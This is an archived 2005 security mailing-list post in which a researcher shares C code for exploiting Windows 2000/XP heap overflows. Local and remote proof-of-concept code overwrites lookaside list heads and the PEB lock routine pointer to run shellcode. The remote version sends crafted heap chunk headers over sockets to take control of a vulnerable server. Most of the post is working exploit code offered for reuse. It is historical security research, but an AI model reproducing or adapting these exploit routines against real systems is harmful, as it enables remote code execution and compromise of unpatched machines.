Dailydave mailing list archives

Understanding Windows Heap Overflows


From: Matt Conover <mconover () gmail com>
Date: Thu, 6 Oct 2005 22:33:42 -0700

Hey all,
 If it is helpful, I included the code I was originally using to do all of
our heap exploitation testing in for our CanSecWest 2004 presentation. I
don't think it was publicly released previously... at least I have no memory
of it. But I thought by now someone would have written a really nice
comprehensive paper on Windows heap exploitation... but to my surprise no
one has yet :(
 I'm flattered you call it the Conover coalescing technique, but it's
inaccurate since I co-authored with Oded Horovitz. Oded is the one that
originally taught me all his cool Windows tricks, so nothing would have been
possible without him :) Speaking of Oded... he is a recent father, send him
some greets and congrats :)
Anyway, without further ado, lets dive into the code. It will work without
change on Win2K SP0-SP4 and WinXP SP0-SP1. For brevity, I have not included
EVERYTHING, but enough to make it clear. If you want the actual ready-made
proof of concepts, just email me, it will make this mail too big if I attach
them.
 // Create a clean heap
 pHeap = HeapCreate(2, 0x10000, 0);
// As most of you know, running a debugger against the vulnerable
// application will change the heap behavior. This can be done
// with the following (which will make the heap behave the same
// whether or not a debugger is attached)
 pHeap->Flags = pHeap->ForceFlags = 2;
// This will point the PEB lock routine at some empty space in the PEB
// This is where we'll stick our shellcode
 p = DoListHeadOverwrite(pHeap);
memcpy(p, Shellcode, ShellcodeLength);
// Now cause a crash to force shellcode execution immediate,
// because the PEB lock routine is called from ExitProcess
// And the unhandled exception filter in kernel32 will call
// CreateProcess
printf("\nNow forcing a crash...\n");
p = (BYTE *)0xABABABAB; *p = 0;

DoListHeadOverwrite is the important part:
BYTE *DoListHeadOverwrite(HEAP *pHeap)
{
BYTE *HeapBase = (BYTE *)pHeap;
BYTE *FirstFreeList = HeapBase + FREELIST_OFFSET;
BYTE *FirstLookaside = HeapBase + LOOKASIDE_OFFSET;
BYTE *pSource, *p;
HEAP_FREE_ENTRY *chunk;

printf("Using Lookaside list head overwrite technique\n\n");

/////////////////////////////////////////////////////////////////////////////////
// OVERWRITE 1 (overwrite PEB_LOCK_ROUTINE with address of PEB_SPACE)
//
// NOTE: this step must be done before copy the shellcode into PEB_SPACE,
because
// otherwise the first 8 bytes of the shellcode at PEB_SPACE will be
overwritten
/////////////////////////////////////////////////////////////////////////////////

printf("=== OVERWRITE 1\n\n");
pSource = GetChunk(pHeap, ALLOC_SIZE);
assert(pSource);
memset(pSource, 0x01, ALLOC_SIZE);

// NOTE: this has to be done AFTER we get pSource (the one we'll overflow)
// or else pSource will take a free chunk of the lookaside list, and the
// lookaside list has to be full for this to work
printf("Filling lookaside before OVERWRITE 1\n");
FillLookasideList(pHeap, ALLOC_SIZE);

//printf("=== BEFORE OVERFLOW\n");
//DumpLookasideLists(stdout, pHeap); putchar('\n');
//DumpFreeLists(stdout, pHeap); putchar('\n');


chunk = (HEAP_FREE_ENTRY *)(pSource+ALLOC_SIZE);
chunk->PreviousSize = 0;
chunk->Size = 0; // as small as possible
chunk->Flags = HEAP_ENTRY_LAST_ENTRY;
chunk->SegmentIndex = 63; // between 1-63
chunk->Index = 8; // shouldn't matter
chunk->Mask = 1; // shouldn't matter
chunk->FreeList.Blink = (LIST_ENTRY *)(PEB_LOCK_ROUTINE);
chunk->FreeList.Flink = (LIST_ENTRY *)PEB_SPACE;

printf("Overwriting PEB_LOCK_ROUTINE to point to PEB_SPACE\n");
HeapFree(pHeap, 0, pSource);
assert(*(DWORD *)PEB_LOCK_ROUTINE == PEB_SPACE);

/////////////////////////////////////////////////////////////////////////////////
// OVERWRITE 2 (overwrite list head to point to PEB_SPACE)
/////////////////////////////////////////////////////////////////////////////////

printf("\n=== OVERWRITE 2\n\n");
pSource = GetChunk((HANDLE)pHeap, ALLOC_SIZE2);
assert(pSource);
memset(pSource, 0x00, ALLOC_SIZE2);


// NOTE: this has to be done AFTER we get pSource (the one we'll overflow)
// or else pSource will take a free chunk of the lookaside list, and the
// lookaside list has to be full for this to work
printf("Filling lookaside before OVERWRITE 3\n");
FillLookasideList(pHeap, ALLOC_SIZE2);

chunk = (HEAP_FREE_ENTRY *)(pSource+ALLOC_SIZE2);
chunk->PreviousSize = 1;
chunk->Size = 1; // as small as possible
chunk->Flags = HEAP_ENTRY_LAST_ENTRY;
chunk->SegmentIndex = 1; // between 1-63 is ideal
chunk->Index = 8; // shouldn't matter
chunk->Mask = 1; // shouldn't matter
chunk->FreeList.Blink = (LIST_ENTRY *)(FirstLookaside +
LOOKASIDE_SIZE*CHUNK_SIZE);
chunk->FreeList.Flink = (LIST_ENTRY *)PEB_SPACE;

//printf("\n*** fake chunk = 0x%08lx\n", chunk);
//DumpChunk(stdout, NULL, (HEAP_ENTRY *)chunk, FALSE, TRUE, NULL);

printf("Overwriting ListHead to point to PEB_SPACE\n");
HeapFree(pHeap, 0, pSource);
assert(*(DWORD *)(FirstLookaside + LOOKASIDE_SIZE*CHUNK_SIZE) == PEB_SPACE);

/////////////////////////////////////////////////////////////////////////////////
// OVERWRITE 3 (overwrite PEB_SPACE with shellcode)
// NOTE 1: This will allocate from the list head we overwrote in OVERWRITE 3
// NOTE 2: We don't free this because it will corrupt the shellcode
/////////////////////////////////////////////////////////////////////////////////

printf("\n=== OVERWRITE 3\n\n");
printf("Now allocating chunk of %d bytes (will point to PEB_SPACE)\n",
ALLOC_SIZE);
p = HeapAlloc(pHeap, 0, ALLOC_SIZE);
assert(p == (BYTE *)PEB_SPACE);
// DO NOT FREE THIS -- it will corrupt the shellcode

return p;
}

The FillLookasideList is not necessary but makes exploitation much more
reliable:
void FillLookasideList(HEAP *pHeap, DWORD AllocSize)
{
int i;
DWORD ChunkSize = (AllocSize/8)+1;
BYTE *alloc[LOOKASIDE_FILL_SIZE];

//printf("Filling up lookaside list to force coalesce on free\n");
//printf("\n*** LOOKASIDE BEFORE FILL UP:\n");
//DumpLookaside(stdout, NULL, (HEAP_LOOKASIDE *)pLookaside);

for (i = 0; i < LOOKASIDE_FILL_SIZE; i++)
{
alloc[i] = HeapAlloc(pHeap, 0, AllocSize);
assert(alloc[i]);
}

for (i = 0; i < LOOKASIDE_FILL_SIZE; i++)
{
HeapFree(pHeap, 0, alloc[i]);
}

//printf("\n*** LOOKASIDE AFTER FILL UP:\n");
//DumpLookaside(stdout, NULL, (HEAP_LOOKASIDE *)pLookaside);
//printf("\n");
}

Now for remote exploits I just use wrapper functions to hide the network
complexity. This is a proof of concept that would be exploiting an
application that allows a remote user to control the size of allocations (
e.g., like an RPC type vulnerability).

{
//////////////////////////////////////////////////////////////////////
// Connect to server
//////////////////////////////////////////////////////////////////////

memset(&dst_addr, 0, sizeof(dst_addr));
printf("Resolving %s... ", dst_host); fflush(stdout);
he = gethostbyname(dst_host);
if (he != NULL) dst_addr.sin_addr = *((struct in_addr *)he->h_addr);
else dst_addr.sin_addr.s_addr = inet_addr(dst_host);
dst_addr.sin_family = AF_INET;
dst_addr.sin_port = htons((unsigned short)dst_port);
printf("done\n");

/////////////////////////////////////////////////////////////////////////////////
// OVERWRITE 1 (overwrite list head to point to PEB_LOCK_ROUTINE)
//
// NOTE: this step must be done before copy the shellcode into PEB_SPACE,
because
// otherwise the first 8 bytes of the shellcode at PEB_SPACE will be
overwritten
/////////////////////////////////////////////////////////////////////////////////

printf("\n=== OVERWRITE 1\n\n");
//Sleep(1000);
printf("Allocating %d bytes (OVERWRITE 1)\n", ALLOC_SIZE);
i = AllocChunk(dst_addr, socks, ALLOC_SIZE);
if (i == INVALID_SOCKET) { printf("Failed to allocate %d bytes at OVERWRITE
1\n", ALLOC_SIZE); exit(0); }
else memset(attack_buffer, 0x01, ALLOC_SIZE);

// NOTE: this has to be done AFTER we get pSource (the one we'll overflow)
// or else pSource will take a free chunk of the lookaside list, and the
// lookaside list has to be full for this to work
printf("Filling lookaside before OVERWRITE 1\n");
if (!FillLookasideList(dst_addr, socks, ALLOC_SIZE)) { printf("FillLookaside
at OVERWRITE 1 failed\n"); exit(0); }

chunk = (HEAP_FREE_ENTRY *)(attack_buffer + ALLOC_SIZE);
chunk->PreviousSize = 1;
chunk->Size = 1; // as small as possible
chunk->Flags = HEAP_ENTRY_SETTABLE_FLAG1; // a harmless flag that is not
null
chunk->SegmentIndex = 63; // between 1-63
chunk->Index = 8; // shouldn't matter
chunk->Mask = 1; // shouldn't matter
chunk->FreeList.Blink = (LIST_ENTRY *)(PEB_LOCK_ROUTINE);
chunk->FreeList.Flink = (LIST_ENTRY *)PEB_SPACE;

printf("Overwriting PEB_LOCK_ROUTINE to point to PEB_SPACE\n");
j = ALLOC_SIZE+sizeof(HEAP_FREE_ENTRY);
DumpBuffer("peb_lock_routine_overwrite", attack_buffer, j);
numbytes = sock_send(&socks[i], attack_buffer, j);
if (numbytes != j) { printf("sock_send at OVERWRITE 1 failed (sent %d of %d
bytes)\n", numbytes, j); exit(0); }
if (!FreeChunk(&socks[i])) { printf("FreeChunk at OVERWRITE 1 failed\n");
exit(0); }

/////////////////////////////////////////////////////////////////////////////////
// OVERWRITE 2 (overwrite list head to point to PEB_SPACE)
/////////////////////////////////////////////////////////////////////////////////

printf("\n=== OVERWRITE 2\n\n");
//Sleep(1000);
printf("Allocating %d bytes (OVERWRITE 2)\n", ALLOC_SIZE2);
i = AllocChunk(dst_addr, socks, ALLOC_SIZE2);
if (i == INVALID_SOCKET) { printf("Failed to allocate %d bytes at OVERWRITE
2\n", ALLOC_SIZE); exit(0); }
else memset(attack_buffer, 0x01, ALLOC_SIZE2);

// NOTE: this has to be done AFTER we get the new chunk (the one we'll
overflow)
// or else the new chunk will take a free chunk of the lookaside list, and
the
// lookaside list has to be full for this to work
if (!FillLookasideList(dst_addr, socks, ALLOC_SIZE2)) {
printf("FillLookaside at OVERWRITE 2 failed\n"); exit(0); }

chunk = (HEAP_FREE_ENTRY *)(attack_buffer+ALLOC_SIZE2);
chunk->PreviousSize = 1;
chunk->Size = 1; // as small as possible
chunk->Flags = HEAP_ENTRY_SETTABLE_FLAG1; // a harmless flag that is not
null
chunk->SegmentIndex = 63; // between 1-63 is ideal
chunk->Index = 8; // shouldn't matter
chunk->Mask = 1; // shouldn't matter
chunk->FreeList.Blink = (LIST_ENTRY *)(FIRST_LOOKASIDE_LIST +
LOOKASIDE_SIZE*CHUNK_SIZE2);
chunk->FreeList.Flink = (LIST_ENTRY *)PEB_SPACE;

printf("Overwriting ListHead (0x%08lx) to point to PEB_SPACE (0x%08lx)\n",
chunk->FreeList.Blink, chunk->FreeList.Flink);
j = ALLOC_SIZE2+sizeof(HEAP_FREE_ENTRY);
DumpBuffer("list_head_overwrite", attack_buffer, j);
numbytes = sock_send(&socks[i], attack_buffer, j);
if (numbytes != j) { printf("sock_send at OVERWRITE 2 failed (sent %d bytes
of %d)\n", numbytes, j); exit(0); }
if (!FreeChunk(&socks[i])) { printf("FreeChunk at OVERWRITE 2 failed\n");
exit(0); }

/////////////////////////////////////////////////////////////////////////////////
// OVERWRITE 3 (overwrite PEB_SPACE with shellcode)
// NOTE 1: This will allocate from the list head we overwrote in OVERWRITE 3
// NOTE 2: We don't free this because it will corrupt the shellcode
/////////////////////////////////////////////////////////////////////////////////

printf("\n=== OVERWRITE 3\n\n");
Sleep(1000);
printf("Allocating %d bytes (OVERWRITE 3)\n", ALLOC_SIZE2);
i = AllocChunk(dst_addr, socks, ALLOC_SIZE2);
if (i == INVALID_SOCKET) { printf("Failed to allocate %d bytes at OVERWRITE
3\n", ALLOC_SIZE); exit(0); }
else memset(attack_buffer, 0x01, ALLOC_SIZE2);

printf("Sending shellcode (goes into PEB_SPACE)\n");
DumpBuffer("peb_space_overwrite", Shellcode, ShellcodeLength);
numbytes = sock_send(&socks[i], Shellcode, ShellcodeLength);
if (numbytes != ShellcodeLength) { printf("sock_send at OVERWRITE 3 failed
(sent %d of %d bytes)\n", numbytes, ShellcodeLength); exit(0); }
// DO NOT FREE THIS -- it will corrupt the shellcode

/////////////////////////////////////////////////////////////////////////////////
// Now cause a crash to force shellcode execution immediate
/////////////////////////////////////////////////////////////////////////////////

// Make sure we don't corrupt our previous overwrites
printf("\n=== CRASH\n\n");
i = AllocChunk(dst_addr, socks, CRASH_ALLOC_SIZE);
if (!FillLookasideList(dst_addr, socks, CRASH_ALLOC_SIZE)) {
printf("FillLookaside to cause crash failed\n"); exit(0); }

memset(attack_buffer, 0x01, CRASH_ALLOC_SIZE);
chunk = (HEAP_FREE_ENTRY *)(attack_buffer+CRASH_ALLOC_SIZE);
chunk->PreviousSize = 1;
chunk->Size = 1; // as small as possible
chunk->Flags = HEAP_ENTRY_SETTABLE_FLAG1; // a harmless flag that is not
null
chunk->SegmentIndex = 1; // between 1-63 is ideal
chunk->Index = 8; // shouldn't matter
chunk->Mask = 1; // shouldn't matter
chunk->FreeList.Blink = (LIST_ENTRY *)0xABABABAB;
chunk->FreeList.Flink = (LIST_ENTRY *)0xCDCDCDCD;

j = CRASH_ALLOC_SIZE+sizeof(HEAP_FREE_ENTRY);
DumpBuffer("crash", attack_buffer, j);
numbytes = sock_send(&socks[i], attack_buffer, j);
if (numbytes != j) { printf("sock_send of crash failed (sent %d of %d
bytes)\n", numbytes, j); exit(0); }
if (!FreeChunk(&socks[i])) { printf("FreeChunk too cause crash failed\n");
exit(0); }

printf("\nvulnprog should now be under your control\n");
sock_close_sockets(socks, MAX_SOCKETS);
WSACleanup();
}

BOOL FillLookasideList(SOCKADDR_IN dst_addr, SOCK socks[], int AllocSize)
{
int i, j;
DWORD tmpsocks[LOOKASIDE_FILL_SIZE];

printf("Filling up lookaside index %d\n", (AllocSize/8)+1);
for (i = 0; i < LOOKASIDE_FILL_SIZE; i++)
{
tmpsocks[i] = AllocChunk(dst_addr, socks, AllocSize);
if (tmpsocks[i] == INVALID_SOCKET) return FALSE;
}
Sleep(1000);
for (i = 0; i < LOOKASIDE_FILL_SIZE; i++)
{
j = tmpsocks[i];
if (!FreeChunk(&socks[j])) return FALSE;
}
Sleep(1000);
return TRUE;
}

// NOTE: the specific technique for allocating a chunk of an arbitrary will
differ
// for each application. In some applications, you may not be able to
control
// the allocation size
int AllocChunk(SOCKADDR_IN dst_addr, SOCK socks[], int AllocSize)
{
int i = sock_get_connecting_socket(socks, MAX_SOCKETS);

if (i == MAX_SOCKETS || i == INVALID_SOCKET)
{
assert(0);
return INVALID_SOCKET;
}
if (sock_connect(&socks[i], &dst_addr) == SOCKET_ERROR)
{
printf("Failed to connect\n", inet_ntoa(dst_addr.sin_addr),
htons(dst_addr.sin_port));
return INVALID_SOCKET;
}
if (sock_send(&socks[i], (char *)&AllocSize, sizeof(AllocSize)) !=
sizeof(AllocSize))
{
assert(0);
return INVALID_SOCKET;
}
socks[i].buf_size = AllocSize;
return i;
}

// NOTE: the specific technique for freeing a chunk will differ for each
application
// In some applications, you may not be able to control when the free
happens
BOOL FreeChunk(SOCK *sock)
{
if (!sock->is_connected || !sock->buf_size) { assert(0); return FALSE; }
sock_close_socket(sock);
return TRUE;
}

// NOTE: the specific technique for freeing a chunk of arbitrary will differ
for each
// application. In some applications you may not be able to control the
chunk size.
BOOL FreeAnyChunk(SOCK socks[], int AllocSize)
{
int i;
for (i = 0; i < MAX_SOCKETS; i++)
{
if (!socks[i].is_connected) continue;
if (socks[i].buf_size == (int)AllocSize)
{
sock_close_socket(&socks[i]);
assert(!socks[i].buf_size);
return TRUE;
}
}
return FALSE;
}

The sock stuff is wrapper structure to allow me to make multiple
connections:
void sock_new_sockets(SOCK socks[], unsigned int socks_size)
{
int i;
for (i = 0; i < (int)socks_size; i++)
{
memset(&socks[i], 0, sizeof(SOCK));
socks[i].socket = INVALID_SOCKET;
socks[i].id = -1;
}
}

int sock_get_socket(SOCK socks[], unsigned int socks_size, int use_udp)
{
int i;
for (i = 0; i < (int)socks_size && socks[i].socket != INVALID_SOCKET; i++);
// find end
if (i == (int)socks_size) return socks_size; // no free socks

socks[i].is_udp = use_udp;
if (use_udp) socks[i].socket = socket(AF_INET, SOCK_DGRAM, 0);
else socks[i].socket = socket(AF_INET, SOCK_STREAM, 0);

if (socks[i].socket == INVALID_SOCKET)
{
return INVALID_SOCKET;
}
else
{
socks[i].id = id++;
return i;
}
}

int sock_convert_to_nonblocking_socket(SOCK *sock)
{
unsigned long value = 1;
if (ioctlsocket(sock->socket, FIONBIO, &value) == SOCKET_ERROR)
{
printf("ioctlsocket failed: error code 0x%08lx\n", GetLastError());
return INVALID_SOCKET;
}
return 0;
}

int sock_get_nonblocking_socket(SOCK socks[], unsigned int socks_size, int
use_udp)
{
unsigned long value = 1;
int i = sock_get_socket(socks, socks_size, use_udp);
if (i == INVALID_SOCKET || i == (int)socks_size) return i;
if (ioctlsocket(socks[i].socket, FIONBIO, &value) == SOCKET_ERROR)
{
printf("ioctlsocket failed: error code 0x%08lx\n", GetLastError());
return INVALID_SOCKET;
}
return i;
}

int sock_get_listening_socket(SOCK socks[], unsigned int socks_size, int
use_udp)
{
int i = sock_get_socket(socks, socks_size, use_udp);
if (i == (int)socks_size || i == INVALID_SOCKET) return i;
socks[i].is_listening = 1;
return i;
}

int sock_get_nonblocking_listening_socket(SOCK socks[], unsigned int
socks_size, int use_udp)
{
int i = sock_get_nonblocking_socket(socks, socks_size, use_udp);
if (i == (int)socks_size || i == INVALID_SOCKET) return i;
socks[i].is_listening = 1;
return i;
}

int sock_get_connecting_socket(SOCK socks[], unsigned int socks_size)
{
int i = sock_get_socket(socks, socks_size, 0);
if (i == (int)socks_size || i == INVALID_SOCKET) return i;
socks[i].is_connecting = 1;
return i;
}

int sock_get_nonblocking_connecting_socket(SOCK socks[], unsigned int
socks_size)
{
int i = sock_get_nonblocking_socket(socks, socks_size, 0);
if (i == (int)socks_size || i == INVALID_SOCKET) return i;
socks[i].is_connecting = 1;
return i;
}

int sock_connect(SOCK *sock, SOCKADDR_IN *dst_addr)
{
printf("Connecting to %s:%d... ", inet_ntoa(dst_addr->sin_addr),
ntohs(dst_addr->sin_port)); fflush(stdout);
if (connect(sock->socket, (SOCKADDR *)dst_addr, sizeof(SOCKADDR)) ==
SOCKET_ERROR)
{
printf("\nError connecting: error code 0x%08lx\n", GetLastError());
return SOCKET_ERROR;
}
printf("connected\n");

sock->dst_addr = dst_addr->sin_addr.s_addr;
sock->dst_port = ntohs(dst_addr->sin_port);
sock->is_connected = 1; sock->is_connecting = 0;
return 0;
}

int sock_accept_client(SOCK socks[], unsigned int socks_size, SOCKET
listen_sock, SOCKADDR_IN *client_addr)
{
int i, socksize = sizeof(SOCKADDR_IN);
for (i = 0; i < (int)socks_size && socks[i].socket != INVALID_SOCKET; i++);
// find end
if (i == (int)socks_size) return socks_size; // no free socks

memset(socks+i, 0, sizeof(SOCK));
socks[i].socket = accept(listen_sock, (SOCKADDR *)client_addr, &socksize);
if (socks[i].socket == INVALID_SOCKET)
{
printf("Error with accept: error code 0x%08lx\n", GetLastError());
return INVALID_SOCKET;
}
socks[i].id = id++;
socks[i].is_connected = 1;
socks[i].is_listening = 0;
socks[i].dst_addr = client_addr->sin_addr.s_addr;
socks[i].dst_port = ntohs(client_addr->sin_port);
return i;
}

int sock_accept_nonblocking_client(SOCK socks[], unsigned int socks_size,
SOCKET listen_sock, SOCKADDR_IN *client_addr)
{
unsigned long value = 1;
int i, socksize = sizeof(SOCKADDR_IN);
for (i = 0; i < (int)socks_size && socks[i].socket != INVALID_SOCKET; i++);
// find end
if (i == (int)socks_size) return socks_size; // no free socks

memset(socks+i, 0, sizeof(SOCK));
socks[i].socket = accept(listen_sock, (SOCKADDR *)client_addr, &socksize);
if (socks[i].socket == INVALID_SOCKET)
{
if (GetLastSocketError() == EWOULDBLOCK) return INVALID_SOCKET;
printf("Error with accept: error code 0x%08lx\n", GetLastError());
return INVALID_SOCKET;
}
if (ioctlsocket(socks[i].socket, FIONBIO, &value) == SOCKET_ERROR)
{
printf("ioctlsocket failed: error code 0x%08lx\n", GetLastError());
return INVALID_SOCKET;
}
socks[i].is_connected = 1;
socks[i].dst_addr = client_addr->sin_addr.s_addr;
socks[i].dst_port = ntohs(client_addr->sin_port);
return i;
}

SOCKET sock_get_max_socket(SOCK socks[], unsigned int socks_size)
{
int i, max_index = -1;
for (i = 0; i < (int)socks_size; i++)
{
if (socks[i].socket == INVALID_SOCKET) continue;

if (max_index < 0)
{
max_index = i;
continue;
}
if (socks[max_index].socket < socks[i].socket) max_index = i;
}

if (max_index < 0) return INVALID_SOCKET;
else return socks[max_index].socket;
}

int sock_recv(SOCK *sock, char *buf, unsigned int buf_size, int recv_exact)
{
char *p = buf;
int bytes_left, bytes_read;

for (p = buf, bytes_left = buf_size; bytes_left != 0; p += bytes_read,
bytes_left -= bytes_read)
{
bytes_read = recv(sock->socket, p, bytes_left, 0);
if (bytes_read <= 0)
{
if (GetLastSocketError() == EWOULDBLOCK) return 0;
#ifdef DEBUG
printf("[Client %d.%d] Error with recv: read %d bytes (error code
0x%08lx)\n", sock->id, sock->socket, bytes_read, GetLastError());
#endif
return -1;
}

#ifdef DEBUG
printf("[Client %d.%d] Read %d bytes from %s:%d\n", sock->id, sock->socket,
bytes_read, inet_ntoa(dst_addr.sin_addr), ntohs(dst_addr.sin_port));
#endif
if (!recv_exact) return bytes_read;
}

return buf_size;
}

int sock_send(SOCK *sock, char *buf, unsigned int buf_size)
{
char *p;
int bytes_left, bytes_sent;

for (p = buf, bytes_left = buf_size; bytes_left > 0; p += bytes_sent,
bytes_left -= bytes_sent)
{
bytes_sent = send(sock->socket, p, bytes_left, 0);
if (bytes_sent <= 0)
{
#ifdef DEBUG
printf("[Client %d.%d] Error with send: sent only %d of %d bytes (error code
0x%08lx)\n", sock->id, sock->socket, bytes_sent, bytes_left,
GetLastError());
#endif
return -1;
}

#ifdef DEBUG
printf("[Client %d.%d] Sent %d of %d bytes to %s:%d\n", sock->id,
sock->socket, bytes_sent, buf_size, inet_ntoa(dst_addr.sin_addr),
ntohs(dst_addr.sin_port));
#endif
}

return buf_size;
}

void sock_close_socket(SOCK *sock)
{
if (sock->socket == INVALID_SOCKET) return;
closesocket(sock->socket);
memset(sock, 0, sizeof(SOCK));
sock->socket = INVALID_SOCKET;
sock->id = -1;
}

void sock_close_sockets(SOCK socks[], unsigned int socks_size)
{
int i;
for (i = 0; i < (int)socks_size; i++) sock_close_socket(socks+i);
}

So that's about it. The exact method used would need to be changed a bit
depending on the specific vulnerable application.

Current thread: